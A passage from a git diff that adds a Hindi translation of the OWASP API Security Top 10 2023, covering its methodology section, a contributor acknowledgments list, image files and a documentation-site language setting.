अंतर्दृष्टि देने में सक्षम है—इसलिए अपडेट प्रक्रिया उसी कार्यप्रणाली से +आगे बढ़ी। + +इस प्रक्रिया के बाद, हमारा मानना है कि यह दस्तावेज़ अगले तीन-चार वर्षों के +लिए एक उपयोगी, भविष्य-उन्मुख जागरूकता संसाधन है—जो आधुनिक API-विशिष्ट +समस्याओं पर केंद्रित है। इस प्रोजेक्ट का लक्ष्य अन्य Top 10 सूचियों की जगह लेना +नहीं है, बल्कि मौजूदा और आने वाले शीर्ष API सुरक्षा जोखिमों को कवर करना है +जिनके बारे में हम मानते हैं कि उद्योग को जागरूक और सतर्क रहना चाहिए। + +## कार्यप्रणाली + +पहले चरण में, API सुरक्षा घटनाओं से संबंधित सार्वजनिक रूप से उपलब्ध डेटा +एकत्र किया गया, उसकी समीक्षा की गई और उसे वर्गीकृत किया गया। ऐसा डेटा बग बाउंटी +प्लेटफ़ॉर्म और सार्वजनिक रूप से उपलब्ध रिपोर्ट से एकत्र किया गया था। केवल +2019 और 2022 के बीच रिपोर्ट की गई समस्याओं पर विचार किया गया। इस डेटा का +उपयोग टीम को यह अंदाज़ा देने के लिए किया गया कि पिछली Top 10 सूची किस दिशा +में विकसित होनी चाहिए, साथ ही संभावित योगदान डेटा पूर्वाग्रह (bias) से +निपटने में मदद करने के लिए भी। + +एक सार्वजनिक [डेटा आह्वान][1] 1 सितंबर और 30 नवंबर, 2022 के बीच चला। इसी +दौरान प्रोजेक्ट टीम ने 2019 के बाद से हुए बदलावों पर चर्चा शुरू की। चर्चा +में पहली सूची का प्रभाव, समुदाय से मिली प्रतिक्रिया और API सुरक्षा के नए +रुझान शामिल थे। + +प्रोजेक्ट टीम ने प्रासंगिक API सुरक्षा खतरों के विशेषज्ञों के साथ बैठकें +आयोजित कीं ताकि पीड़ितों पर पड़ने वाले प्रभाव और उन खतरों को कैसे कम किया +जा सकता है, इस पर अंतर्दृष्टि मिल सके। + +इस प्रयास के परिणामस्वरूप एक प्रारंभिक मसौदा तैयार हुआ जिसमें टीम के अनुसार +दस सबसे गंभीर API सुरक्षा जोखिम शामिल थे। जोखिम विश्लेषण करने के लिए [OWASP +Risk Rating Methodology][2] का उपयोग किया गया। व्यापकता (prevalence) रेटिंग +क्षेत्र में अनुभव के आधार पर प्रोजेक्ट टीम के सदस्यों के बीच सहमति से तय +की गईं। इन मामलों पर विचारों के लिए, कृपया [API सुरक्षा जोखिम +(API Security Risks)][3] अनुभाग देखें। + +प्रारंभिक मसौदा फिर API सुरक्षा क्षेत्रों में प्रासंगिक अनुभव वाले सुरक्षा +विशेषज्ञों के साथ समीक्षा के लिए साझा किया गया। उनकी टिप्पणियों की समीक्षा +की गई, चर्चा की गई, और जहाँ उचित हो, दस्तावेज़ में शामिल किया गया। यह दस्तावेज़ [Release Candidate के रूप में][4] [खुली चर्चा][5] हेतु +प्रकाशित किया गया। कई [सामुदायिक योगदान][6] अंतिम दस्तावेज़ में शामिल किए गए। + +योगदानकर्ताओं की सूची [आभार (Acknowledgments)][7] अनुभाग में उपलब्ध है। + +## API-विशिष्ट जोखिम + +यह सूची उन सुरक्षा जोखिमों को संबोधित करने के लिए बनाई गई है जो API के लिए +अधिक विशिष्ट हैं। + +इसका मतलब यह नहीं है कि API-आधारित एप्लिकेशन में अन्य सामान्य एप्लिकेशन +सुरक्षा जोखिम मौजूद नहीं होते। उदाहरण के लिए, हमने "Vulnerable and Outdated +Components" या "Injection" जैसे जोखिम शामिल नहीं किए, भले ही आप उन्हें API +आधारित एप्लिकेशन में पा सकते हैं। ये जोखिम सामान्य हैं, ये API में अलग तरह +से व्यवहार नहीं करते, और न ही उनका शोषण अलग होता है। + +हमारा लक्ष्य उन सुरक्षा जोखिमों के बारे में जागरूकता बढ़ाना है जो API में +विशेष ध्यान के पात्र हैं। + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/hi/0xd1-acknowledgments.md b/editions/2023/hi/0xd1-acknowledgments.md new file mode 100644 index 000000000..3cfbd07e0 --- /dev/null +++ b/editions/2023/hi/0xd1-acknowledgments.md @@ -0,0 +1,55 @@ +# आभार + +## योगदानकर्ताओं को आभार + +हम उन सभी योगदानकर्ताओं को धन्यवाद देना चाहते हैं जिन्होंने GitHub पर +सार्वजनिक रूप से या अन्य माध्यमों से योगदान दिया: + +- 247arjun +- abunuwas +- Alissa Knight +- Arik Atar +- aymenfurter +- Corey J. Ball +- cyn8 +- d0znpp +- Dan Gordon +- donge +- Dor Tumarkin +- faizzaidi +- gavjl +- guybensimhon +- Inês Martins +- Isabelle Mauny +- Ivan Novikov +- jmanico +- Juan Pablo +- k7jto +- LaurentCB +- llegaz +- Maxim Zavodchik +- MrPRogers +- planetlevel +- rahulk22 +- Roey Eliyahu +- Roshan Piyush +- securitylevelup +- sudeshgadewar123 +- Tatsuya-hasegawa +- tebbers +- vanderaj +- wenz +- xplo1t-sec +- Yaniv Balmas +- ynvb + +### हिंदी अनुवाद + +OWASP API Security Top 10 API विकास और सुरक्षा परीक्षण दोनों के लिए एक +महत्वपूर्ण संदर्भ दस्तावेज़ है। यह हिंदी अनुवाद भारतीय डेवलपर्स और सुरक्षा +विशेषज्ञों के लिए इस जानकारी को उनकी भाषा में सुलभ बनाने के उद्देश्य से +तैयार किया गया है। + +### अनुवादक + +- हिमांशु यादव (Himanshu Yadav) diff --git a/editions/2023/hi/images/cover.jpg b/editions/2023/hi/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/hi/images/cover.jpg differ diff --git a/editions/2023/hi/images/front-cc.png b/editions/2023/hi/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/hi/images/front-cc.png differ diff --git a/editions/2023/hi/images/front-wasp.png b/editions/2023/hi/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/hi/images/front-wasp.png differ diff --git a/editions/2023/hi/images/license.png b/editions/2023/hi/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/hi/images/license.png differ diff --git a/editions/2023/hi/images/owasp-logo.png b/editions/2023/hi/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/hi/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index 4a0e478da..4a1b3a170 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -19,3 +19,5 @@ extra: lang: pt-pt - name: Spanish lang: es + - name: हिन्दी (Hindi) + lang: hi